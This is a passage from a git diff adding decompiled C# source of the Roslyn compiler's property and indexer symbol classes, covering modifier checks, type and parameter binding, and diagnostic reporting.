modifiers, bool isExplicitInterfaceImplementation, bool isIndexer, bool accessorsHaveImplementation, Location location, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + bool isInterface = containingType.IsInterface; + DeclarationModifiers defaultAccess = ((isInterface && !isExplicitInterfaceImplementation) ? DeclarationModifiers.Public : DeclarationModifiers.Private); + DeclarationModifiers declarationModifiers = DeclarationModifiers.Unsafe; + DeclarationModifiers declarationModifiers2 = DeclarationModifiers.None; + if (!isExplicitInterfaceImplementation) + { + declarationModifiers |= DeclarationModifiers.AccessibilityMask | DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.New | DeclarationModifiers.Virtual; + if (!isIndexer) + { + declarationModifiers |= DeclarationModifiers.Static; + } + if (!isInterface) + { + declarationModifiers |= DeclarationModifiers.Override; + if (!isIndexer) + { + declarationModifiers |= DeclarationModifiers.Required; + } + } + else + { + defaultAccess = DeclarationModifiers.None; + declarationModifiers2 = (DeclarationModifiers)((uint)declarationModifiers2 | (uint)(3 | ((!isIndexer) ? 4 : 0) | 0x20000 | 0x2000 | 0x3F0)); + } + } + else + { + if (isInterface) + { + declarationModifiers |= DeclarationModifiers.Abstract; + } + if (!isIndexer) + { + declarationModifiers |= DeclarationModifiers.Static; + } + } + if (containingType.IsStructType()) + { + declarationModifiers |= DeclarationModifiers.ReadOnly; + } + declarationModifiers |= DeclarationModifiers.Extern; + DeclarationModifiers declarationModifiers3 = ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: false, isInterface, modifiers, defaultAccess, declarationModifiers, location, diagnostics, out modifierErrors); + ModifierUtils.CheckFeatureAvailabilityForStaticAbstractMembersInInterfacesIfNeeded(declarationModifiers3, isExplicitInterfaceImplementation, location, diagnostics); + containingType.CheckUnsafeModifier(declarationModifiers3, location, diagnostics); + ModifierUtils.ReportDefaultInterfaceImplementationModifiers(accessorsHaveImplementation, declarationModifiers3, declarationModifiers2, location, diagnostics); + if (isInterface) + { + declarationModifiers3 = ModifierUtils.AdjustModifiersForAnInterfaceMember(declarationModifiers3, accessorsHaveImplementation, isExplicitInterfaceImplementation); + } + if (isIndexer) + { + declarationModifiers3 |= DeclarationModifiers.Indexer; + } + if ((declarationModifiers3 & DeclarationModifiers.Static) != DeclarationModifiers.None && (declarationModifiers3 & DeclarationModifiers.Required) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, location, SyntaxFacts.GetText(SyntaxKind.RequiredKeyword)); + declarationModifiers3 = (DeclarationModifiers)((uint)declarationModifiers3 & 0xFFBFFFFFu); + } + return declarationModifiers3; + } + + protected override SourcePropertyAccessorSymbol CreateGetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + BasePropertyDeclarationSyntax basePropertyDeclarationSyntax = (BasePropertyDeclarationSyntax)base.CSharpSyntaxNode; + ArrowExpressionClauseSyntax arrowExpression = GetArrowExpression((SyntaxNode)(object)basePropertyDeclarationSyntax); + if (basePropertyDeclarationSyntax.AccessorList == null && arrowExpression != null) + { + return CreateExpressionBodiedAccessor(arrowExpression, diagnostics); + } + return CreateAccessorSymbol(GetGetAccessorDeclaration(basePropertyDeclarationSyntax), isAutoPropertyAccessor, diagnostics); + } + + protected override SourcePropertyAccessorSymbol CreateSetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + BasePropertyDeclarationSyntax syntax = (BasePropertyDeclarationSyntax)base.CSharpSyntaxNode; + return CreateAccessorSymbol(GetSetAccessorDeclaration(syntax), isAutoPropertyAccessor, diagnostics); + } + + private SourcePropertyAccessorSymbol CreateAccessorSymbol(AccessorDeclarationSyntax syntax, bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + return SourcePropertyAccessorSymbol.CreateAccessorSymbol(ContainingType, this, _modifiers, syntax, isAutoPropertyAccessor, diagnostics); + } + + private SourcePropertyAccessorSymbol CreateExpressionBodiedAccessor(ArrowExpressionClauseSyntax syntax, BindingDiagnosticBag diagnostics) + { + return SourcePropertyAccessorSymbol.CreateAccessorSymbol(ContainingType, this, _modifiers, syntax, diagnostics); + } + + private Binder CreateBinderForTypeAndParameters() + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + CSharpCompilation declaringCompilation = DeclaringCompilation; + SyntaxTree syntaxTree = base.SyntaxTree; + CSharpSyntaxNode cSharpSyntaxNode = base.CSharpSyntaxNode; + Binder binder = declaringCompilation.GetBinderFactory(syntaxTree).GetBinder((SyntaxNode)(object)cSharpSyntaxNode, cSharpSyntaxNode, this); + SyntaxTokenList modifierTokensSyntax = GetModifierTokensSyntax((SyntaxNode)(object)cSharpSyntaxNode); + return binder.WithUnsafeRegionIfNecessary(modifierTokensSyntax).WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks, this); + } + + protected override (TypeWithAnnotations Type, ImmutableArray Parameters) MakeParametersAndBindType(BindingDiagnosticBag diagnostics) + { + Binder binder = CreateBinderForTypeAndParameters(); + CSharpSyntaxNode cSharpSyntaxNode = base.CSharpSyntaxNode; + return (Type: ComputeType(binder, (SyntaxNode)(object)cSharpSyntaxNode, diagnostics), Parameters: ComputeParameters(binder, cSharpSyntaxNode, diagnostics)); + } + + private TypeWithAnnotations ComputeType(Binder binder, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + TypeSyntax typeSyntax = GetTypeSyntax(syntax); + typeSyntax = typeSyntax.SkipScoped(out var _).SkipRef(); + TypeWithAnnotations typeWithAnnotations = binder.BindType(typeSyntax, diagnostics); + CompoundUseSiteInfo useSiteInfo = binder.GetNewCompoundUseSiteInfo(diagnostics); + if (GetExplicitInterfaceSpecifier() == null && !this.IsNoMoreVisibleThan(typeWithAnnotations, ref useSiteInfo)) + { + diagnostics.Add(IsIndexer ? ErrorCode.ERR_BadVisIndexerReturn : ErrorCode.ERR_BadVisPropertyType, base.Location, this, typeWithAnnotations.Type); + } + if (typeWithAnnotations.Type.HasFileLocalTypes() && !ContainingType.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, base.Location, typeWithAnnotations.Type, ContainingType); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(base.Location, useSiteInfo); + if (typeWithAnnotations.IsVoidType()) + { + if (IsIndexer) + { + diagnostics.Add(ErrorCode.ERR_IndexerCantHaveVoidType, base.Location); + } + else + { + diagnostics.Add(ErrorCode.ERR_PropertyCantHaveVoidType, base.Location, this); + } + } + return typeWithAnnotations; + } + + private static ImmutableArray MakeParameters(Binder binder, SourcePropertySymbolBase owner, BaseParameterListSyntax? parameterSyntaxOpt, BindingDiagnosticBag diagnostics, bool addRefReadOnlyModifier) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + if (parameterSyntaxOpt == null) + { + return ImmutableArray.Empty; + } + if (parameterSyntaxOpt.Parameters.Count < 1) + { + SyntaxToken lastToken = parameterSyntaxOpt.GetLastToken(); + diagnostics.Add(ErrorCode.ERR_IndexerNeedsParam, ((SyntaxToken)(ref lastToken)).GetLocation()); + } + bool addRefReadOnlyModifier2 = addRefReadOnlyModifier; + SyntaxToken arglistToken; + ImmutableArray result = ImmutableArrayExtensions.Cast(ParameterHelpers.MakeParameters(binder, owner, parameterSyntaxOpt, out arglistToken, diagnostics, allowRefOrOut: false, allowThis: false, addRefReadOnlyModifier2)); + if (arglistToken.Kind() != SyntaxKind.None) + { + diagnostics.Add(ErrorCode.ERR_IllegalVarArgs, ((SyntaxToken)(ref arglistToken)).GetLocation()); + } + if (result.Length == 1 && !owner.IsExplicitInterfaceImplementation) + { + ParameterSyntax parameterSyntax = parameterSyntaxOpt.Parameters[0]; + if (parameterSyntax.Default != null) + { + SyntaxToken identifier = parameterSyntax.Identifier; + diagnostics.Add(ErrorCode.WRN_DefaultValueForUnconsumedLocation, ((SyntaxToken)(ref identifier)).GetLocation(), ((SyntaxToken)(ref identifier)).ValueText); + } + } + return result; + } + + private ImmutableArray ComputeParameters(Binder binder, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + BaseParameterListSyntax parameterListSyntax = GetParameterListSyntax(syntax); + return MakeParameters(binder, this, parameterListSyntax, diagnostics, IsVirtual || IsAbstract); + } + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + base.AfterAddingTypeMembersChecks(conversions, diagnostics); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!IsExplicitInterfaceImplementation && !this.IsNoMoreVisibleThan(current.Type, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadVisIndexerParam, base.Location, this, current.Type); + } + else if (current.Type.HasFileLocalTypes() && !ContainingType.HasFileLocalTypes()) + { + diagnostics.Add(ErrorCode.ERR_FileTypeDisallowedInSignature, base.Location, current.Type, ContainingType); + } + else if ((object)SetMethod != null && current.Name == "value") + { + diagnostics.Add(ErrorCode.ERR_DuplicateGeneratedName, current.TryGetFirstLocation() ?? base.Location, current.Name); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(base.Location, useSiteInfo); + } + + private static BaseParameterListSyntax? GetParameterListSyntax(CSharpSyntaxNode syntax) + { + return (syntax as IndexerDeclarationSyntax)?.ParameterList; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertySymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertySymbolBase.cs new file mode 100644 index 0000000..753a3e3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertySymbolBase.cs @@ -0,0 +1,1175 @@ +using System; +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourcePropertySymbolBase : PropertySymbol, IAttributeTargetSymbol +{ + [Flags] + private enum Flags : byte + { + IsExpressionBodied = 1, + IsAutoProperty = 2, + IsExplicitInterfaceImplementation = 4, + HasInitializer = 8 + } + + protected const string DefaultIndexerName = "Item"; + + private readonly SourceMemberContainerTypeSymbol _containingType; + + private readonly string _name; + + private readonly SyntaxReference _syntaxRef; + + protected readonly DeclarationModifiers _modifiers; + + private ImmutableArray _lazyRefCustomModifiers; + + private readonly SourcePropertyAccessorSymbol? _getMethod; + + private readonly SourcePropertyAccessorSymbol? _setMethod; + + private readonly TypeSymbol _explicitInterfaceType; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private readonly Flags _propertyFlags; + + private readonly RefKind _refKind; + + private SymbolCompletionState _state; + + private ImmutableArray _lazyParameters; + + private TypeWithAnnotations.Boxed _lazyType; + + private string _lazySourceName; + + private string _lazyDocComment; + + private string _lazyExpandedDocComment; + + private OverriddenOrHiddenMembersResult _lazyOverriddenOrHiddenMembers; + + private SynthesizedSealedPropertyAccessor _lazySynthesizedSealedAccessor; + + private CustomAttributesBag _lazyCustomAttributesBag; + + public Location Location { get; } + + protected abstract Location TypeLocation { get; } + + internal sealed override ImmutableArray NotNullMembers => GetDecodedWellKnownAttributeData()?.NotNullMembers ?? ImmutableArray.Empty; + + internal sealed override ImmutableArray NotNullWhenTrueMembers => GetDecodedWellKnownAttributeData()?.NotNullWhenTrueMembers ?? ImmutableArray.Empty; + + internal sealed override ImmutableArray NotNullWhenFalseMembers => GetDecodedWellKnownAttributeData()?.NotNullWhenFalseMembers ?? ImmutableArray.Empty; + + internal bool IsExpressionBodied => (_propertyFlags & Flags.IsExpressionBodied) != 0; + + public sealed override RefKind RefKind => _refKind; + + public sealed override TypeWithAnnotations TypeWithAnnotations + { + get + { + EnsureSignature(); + return _lazyType.Value; + } + } + + internal bool HasPointerType => TypeWithAnnotations.DefaultType.IsPointerOrFunctionPointer(); + + public override string Name => _name; + + internal string SourceName + { + get + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (_lazySourceName == null) + { + SyntaxList attributeLists = ((IndexerDeclarationSyntax)CSharpSyntaxNode).AttributeLists; + string text = null; + CustomAttributesBag lazyCustomAttributesBag = null; + LoadAndValidateAttributes(OneOrMany.Create>(attributeLists), ref lazyCustomAttributesBag, AttributeLocation.None, earlyDecodingOnly: true); + if (lazyCustomAttributesBag != null) + { + PropertyEarlyWellKnownAttributeData propertyEarlyWellKnownAttributeData = (PropertyEarlyWellKnownAttributeData)(object)lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData; + if (propertyEarlyWellKnownAttributeData != null) + { + text = propertyEarlyWellKnownAttributeData.IndexerName; + } + } + text = text ?? "Item"; + InterlockedOperations.Initialize(ref _lazySourceName, text); + } + return _lazySourceName; + } + } + + public override string MetadataName => SourceName.Replace(" ", ""); + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override ImmutableArray Locations => ImmutableArray.Create(Location); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Create(_syntaxRef); + + public override bool IsAbstract => (_modifiers & DeclarationModifiers.Abstract) != 0; + + public override bool IsExtern => (_modifiers & DeclarationModifiers.Extern) != 0; + + public override bool IsStatic => (_modifiers & DeclarationModifiers.Static) != 0; + + internal bool IsFixed => false; + + public override bool IsIndexer => (_modifiers & DeclarationModifiers.Indexer) != 0; + + public override bool IsOverride => (_modifiers & DeclarationModifiers.Override) != 0; + + public override bool IsSealed => (_modifiers & DeclarationModifiers.Sealed) != 0; + + public override bool IsVirtual => (_modifiers & DeclarationModifiers.Virtual) != 0; + + internal sealed override bool IsRequired => (_modifiers & DeclarationModifiers.Required) != 0; + + internal bool IsNew => (_modifiers & DeclarationModifiers.New) != 0; + + internal bool HasReadOnlyModifier => (_modifiers & DeclarationModifiers.ReadOnly) != 0; + + public sealed override MethodSymbol? GetMethod => _getMethod; + + public sealed override MethodSymbol? SetMethod => _setMethod; + + internal override CallingConvention CallingConvention + { + get + { + if (IsStatic) + { + return (CallingConvention)0; + } + return (CallingConvention)32; + } + } + + public sealed override ImmutableArray Parameters + { + get + { + EnsureSignature(); + return _lazyParameters; + } + } + + internal override bool IsExplicitInterfaceImplementation => (_propertyFlags & Flags.IsExplicitInterfaceImplementation) != 0; + + public sealed override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (IsExplicitInterfaceImplementation) + { + EnsureSignature(); + } + return _lazyExplicitInterfaceImplementations; + } + } + + public sealed override ImmutableArray RefCustomModifiers + { + get + { + EnsureSignature(); + return _lazyRefCustomModifiers; + } + } + + public override Accessibility DeclaredAccessibility => ModifierUtils.EffectiveAccessibility(_modifiers); + + public bool HasSkipLocalsInitAttribute => GetDecodedWellKnownAttributeData()?.HasSkipLocalsInitAttribute ?? false; + + internal bool IsAutoPropertyWithGetAccessor + { + get + { + if (IsAutoProperty) + { + return (object)_getMethod != null; + } + return false; + } + } + + protected bool IsAutoProperty => (_propertyFlags & Flags.IsAutoProperty) != 0; + + internal SynthesizedBackingFieldSymbol BackingField { get; } + + internal override bool MustCallMethodsDirectly => false; + + internal SyntaxReference SyntaxReference => _syntaxRef; + + internal CSharpSyntaxNode CSharpSyntaxNode => (CSharpSyntaxNode)(object)_syntaxRef.GetSyntax(default(CancellationToken)); + + internal SyntaxTree SyntaxTree => _syntaxRef.SyntaxTree; + + internal override OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers + { + get + { + if (_lazyOverriddenOrHiddenMembers == null) + { + Interlocked.CompareExchange(ref _lazyOverriddenOrHiddenMembers, this.MakeOverriddenOrHiddenMembers(), null); + } + return _lazyOverriddenOrHiddenMembers; + } + } + + internal SynthesizedSealedPropertyAccessor SynthesizedSealedAccessorOpt + { + get + { + bool flag = (object)GetMethod != null; + bool flag2 = (object)SetMethod != null; + if (!IsSealed || (flag && flag2)) + { + return null; + } + if ((object)_lazySynthesizedSealedAccessor == null) + { + Interlocked.CompareExchange(ref _lazySynthesizedSealedAccessor, MakeSynthesizedSealedAccessor(), null); + } + return _lazySynthesizedSealedAccessor; + } + } + + public abstract SyntaxList AttributeDeclarationSyntaxList { get; } + + public abstract IAttributeTargetSymbol AttributesOwner { get; } + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => AttributesOwner; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Property; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations + { + get + { + if (!IsAutoPropertyWithGetAccessor) + { + return AttributeLocation.Property; + } + return AttributeLocation.Field | AttributeLocation.Property; + } + } + + internal sealed override bool IsDirectlyExcludedFromCodeCoverage + { + get + { + PropertyWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonPropertyWellKnownAttributeData)decodedWellKnownAttributeData).HasExcludeFromCodeCoverageAttribute; + } + } + + internal override bool HasSpecialName + { + get + { + PropertyWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonPropertyWellKnownAttributeData)decodedWellKnownAttributeData).HasSpecialNameAttribute; + } + return false; + } + } + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + if (!_containingType.AnyMemberHasAttributes) + { + return null; + } + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsEarlyDecodedWellKnownAttributeDataComputed) + { + PropertyEarlyWellKnownAttributeData obj = (PropertyEarlyWellKnownAttributeData)(object)lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData; + if (obj == null) + { + return null; + } + return ((CommonPropertyEarlyWellKnownAttributeData)obj).ObsoleteAttributeData; + } + return ObsoleteAttributeData.Uninitialized; + } + } + + internal bool HasDisallowNull => GetDecodedWellKnownAttributeData()?.HasDisallowNullAttribute ?? false; + + internal bool HasAllowNull => GetDecodedWellKnownAttributeData()?.HasAllowNullAttribute ?? false; + + internal bool HasMaybeNull => GetDecodedWellKnownAttributeData()?.HasMaybeNullAttribute ?? false; + + internal bool HasNotNull => GetDecodedWellKnownAttributeData()?.HasNotNullAttribute ?? false; + + internal SourceAttributeData DisallowNullAttributeIfExists => FindAttribute(AttributeDescription.DisallowNullAttribute); + + internal SourceAttributeData AllowNullAttributeIfExists => FindAttribute(AttributeDescription.AllowNullAttribute); + + internal SourceAttributeData MaybeNullAttributeIfExists => FindAttribute(AttributeDescription.MaybeNullAttribute); + + internal SourceAttributeData NotNullAttributeIfExists => FindAttribute(AttributeDescription.NotNullAttribute); + + internal ImmutableArray MemberNotNullAttributeIfExists => FindAttributes(AttributeDescription.MemberNotNullAttribute); + + internal ImmutableArray MemberNotNullWhenAttributeIfExists => FindAttributes(AttributeDescription.MemberNotNullWhenAttribute); + + internal sealed override bool HasUnscopedRefAttribute => GetDecodedWellKnownAttributeData()?.HasUnscopedRefAttribute ?? false; + + internal sealed override bool RequiresCompletion => true; + + protected SourcePropertySymbolBase(SourceMemberContainerTypeSymbol containingType, CSharpSyntaxNode syntax, bool hasGetAccessor, bool hasSetAccessor, bool isExplicitInterfaceImplementation, TypeSymbol? explicitInterfaceType, string? aliasQualifierOpt, DeclarationModifiers modifiers, bool hasInitializer, bool isAutoProperty, bool isExpressionBodied, bool isInitOnly, RefKind refKind, string memberName, SyntaxList indexerNameAttributeLists, Location location, BindingDiagnosticBag diagnostics) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + _syntaxRef = syntax.GetReference(); + Location = location; + _containingType = containingType; + _refKind = refKind; + _modifiers = modifiers; + _explicitInterfaceType = explicitInterfaceType; + if (isExplicitInterfaceImplementation) + { + _propertyFlags |= Flags.IsExplicitInterfaceImplementation; + } + else + { + _lazyExplicitInterfaceImplementations = ImmutableArray.Empty; + } + bool isIndexer = IsIndexer; + isAutoProperty = isAutoProperty && (!containingType.IsInterface || IsStatic) && !IsAbstract && !IsExtern && !isIndexer; + if (isAutoProperty) + { + _propertyFlags |= Flags.IsAutoProperty; + } + if (hasInitializer) + { + _propertyFlags |= Flags.HasInitializer; + } + if (isExpressionBodied) + { + _propertyFlags |= Flags.IsExpressionBodied; + } + if (isIndexer) + { + if (indexerNameAttributeLists.Count == 0 || isExplicitInterfaceImplementation) + { + _lazySourceName = memberName; + } + _name = ExplicitInterfaceHelpers.GetMemberName("this[]", _explicitInterfaceType, aliasQualifierOpt); + } + else + { + _name = (_lazySourceName = memberName); + } + if ((isAutoProperty && hasGetAccessor) || hasInitializer) + { + string name = GeneratedNames.MakeBackingFieldName(_name); + BackingField = new SynthesizedBackingFieldSymbol(this, name, (hasGetAccessor && !hasSetAccessor) || isInitOnly, IsStatic, hasInitializer); + } + if (hasGetAccessor) + { + _getMethod = CreateGetAccessorSymbol(isAutoProperty, diagnostics); + } + if (hasSetAccessor) + { + _setMethod = CreateSetAccessorSymbol(isAutoProperty, diagnostics); + } + } + + private void EnsureSignatureGuarded(BindingDiagnosticBag diagnostics) + { + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Invalid comparison between Unknown and I4 + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol propertySymbol = null; + _lazyRefCustomModifiers = ImmutableArray.Empty; + (TypeWithAnnotations, ImmutableArray) tuple = MakeParametersAndBindType(diagnostics); + TypeWithAnnotations item = tuple.Item1; + _lazyParameters = tuple.Item2; + _lazyType = new TypeWithAnnotations.Boxed(item); + bool isExplicitInterfaceImplementation = IsExplicitInterfaceImplementation; + if (isExplicitInterfaceImplementation || IsOverride) + { + bool alsoCopyParamsModifier = false; + PropertySymbol propertySymbol2; + if (!isExplicitInterfaceImplementation) + { + alsoCopyParamsModifier = true; + propertySymbol2 = base.OverriddenProperty; + } + else + { + CSharpSyntaxNode cSharpSyntaxNode = CSharpSyntaxNode; + object obj; + if (!IsIndexer) + { + SyntaxToken identifier = ((PropertyDeclarationSyntax)cSharpSyntaxNode).Identifier; + obj = ((SyntaxToken)(ref identifier)).ValueText; + } + else + { + obj = "this[]"; + } + string interfacePropertyName = (string)obj; + propertySymbol = this.FindExplicitlyImplementedProperty(_explicitInterfaceType, interfacePropertyName, GetExplicitInterfaceSpecifier(), diagnostics); + this.FindExplicitlyImplementedMemberVerification(propertySymbol, diagnostics); + propertySymbol2 = propertySymbol; + } + if ((object)propertySymbol2 != null) + { + _lazyRefCustomModifiers = (((int)_refKind != 0) ? propertySymbol2.RefCustomModifiers : ImmutableArray.Empty); + TypeWithAnnotations typeWithAnnotations = propertySymbol2.TypeWithAnnotations; + if (item.Type.Equals(typeWithAnnotations.Type, (TypeCompareKind)11)) + { + item = item.WithTypeAndModifiers(CustomModifierUtils.CopyTypeCustomModifiers(typeWithAnnotations.Type, item.Type, ContainingAssembly), typeWithAnnotations.CustomModifiers); + _lazyType = new TypeWithAnnotations.Boxed(item); + } + _lazyParameters = CustomModifierUtils.CopyParameterCustomModifiers(propertySymbol2.Parameters, _lazyParameters, alsoCopyParamsModifier); + } + } + else if ((int)_refKind == 3) + { + NamedTypeSymbol wellKnownType = Binder.GetWellKnownType(DeclaringCompilation, (WellKnownType)273, diagnostics, TypeLocation); + _lazyRefCustomModifiers = ImmutableArray.Create(CSharpCustomModifier.CreateRequired(wellKnownType)); + } + _lazyExplicitInterfaceImplementations = (((object)propertySymbol == null) ? ImmutableArray.Empty : ImmutableArray.Create(propertySymbol)); + } + + private void CheckInitializer(bool isAutoProperty, bool isInterface, bool isStatic, Location location, BindingDiagnosticBag diagnostics) + { + if (isInterface && !isStatic) + { + diagnostics.Add(ErrorCode.ERR_InstancePropertyInitializerInInterface, location); + } + else if (!isAutoProperty) + { + diagnostics.Add(ErrorCode.ERR_InitializerOnNonAutoProperty, location); + } + } + + private void EnsureSignature() + { + if (_state.HasComplete(CompletionPart.FinishBaseType)) + { + return; + } + lock (_syntaxRef) + { + if (_state.NotePartComplete(CompletionPart.StartBaseType)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + try + { + EnsureSignatureGuarded(instance); + AddDeclarationDiagnostics(instance); + return; + } + finally + { + _state.NotePartComplete(CompletionPart.FinishBaseType); + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + } + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return new LexicalSortKey(Location, DeclaringCompilation); + } + + public sealed override Location TryGetFirstLocation() + { + return Location; + } + + protected abstract SourcePropertyAccessorSymbol CreateGetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics); + + protected abstract SourcePropertyAccessorSymbol CreateSetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics); + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_039c: Unknown result type (might be due to invalid IL or missing references) + //IL_03a2: Invalid comparison between Unknown and I4 + //IL_037e: Unknown result type (might be due to invalid IL or missing references) + //IL_0389: Expected O, but got Unknown + //IL_0256: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_01a4: Unknown result type (might be due to invalid IL or missing references) + //IL_02b8: Unknown result type (might be due to invalid IL or missing references) + bool isExplicitInterfaceImplementation = IsExplicitInterfaceImplementation; + CheckAccessibility(Location, diagnostics, isExplicitInterfaceImplementation); + CheckModifiers(isExplicitInterfaceImplementation, Location, IsIndexer, diagnostics); + if ((_propertyFlags & Flags.HasInitializer) != 0) + { + CheckInitializer(IsAutoProperty, ContainingType.IsInterface, IsStatic, Location, diagnostics); + } + if ((int)RefKind != 0 && IsRequired) + { + diagnostics.Add(ErrorCode.ERR_RefReturningPropertiesCannotBeRequired, Location); + } + if (IsAutoPropertyWithGetAccessor) + { + if (!IsStatic) + { + MethodSymbol setMethod = SetMethod; + if ((object)setMethod != null && !setMethod.IsInitOnly) + { + if (ContainingType.IsReadOnly) + { + diagnostics.Add(ErrorCode.ERR_AutoPropsInRoStruct, Location); + } + else if (HasReadOnlyModifier) + { + diagnostics.Add(ErrorCode.ERR_AutoPropertyWithSetterCantBeReadOnly, Location, this); + } + } + } + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(DeclaringCompilation, (WellKnownMember)112, diagnostics, Location); + if ((int)RefKind != 0) + { + diagnostics.Add(ErrorCode.ERR_AutoPropertyCannotBeRefReturning, Location); + } + if (IsOverride && (object)SetMethod == null && !base.IsReadOnly) + { + diagnostics.Add(ErrorCode.ERR_AutoPropertyMustOverrideSet, Location); + } + } + if (!IsExpressionBodied) + { + bool flag = (object)GetMethod != null; + bool flag2 = (object)SetMethod != null; + if (flag && flag2) + { + if ((int)_refKind != 0) + { + diagnostics.Add(ErrorCode.ERR_RefPropertyCannotHaveSetAccessor, _setMethod.GetFirstLocation()); + } + else if ((int)_getMethod.LocalAccessibility != 0 && (int)_setMethod.LocalAccessibility != 0) + { + diagnostics.Add(ErrorCode.ERR_DuplicatePropertyAccessMods, Location, this); + } + else if (_getMethod.LocalDeclaredReadOnly && _setMethod.LocalDeclaredReadOnly) + { + diagnostics.Add(ErrorCode.ERR_DuplicatePropertyReadOnlyMods, Location, this); + } + else if (IsAbstract) + { + CheckAbstractPropertyAccessorNotPrivate(_getMethod, diagnostics); + CheckAbstractPropertyAccessorNotPrivate(_setMethod, diagnostics); + } + } + else + { + if (!flag && !flag2) + { + diagnostics.Add(ErrorCode.ERR_PropertyWithNoAccessors, Location, this); + } + else if ((int)RefKind != 0) + { + if (!flag) + { + diagnostics.Add(ErrorCode.ERR_RefPropertyMustHaveGetAccessor, Location); + } + } + else if (!flag && IsAutoProperty) + { + diagnostics.Add(ErrorCode.ERR_AutoPropertyMustHaveGetAccessor, _setMethod.GetFirstLocation()); + } + if (!IsOverride) + { + SourcePropertyAccessorSymbol 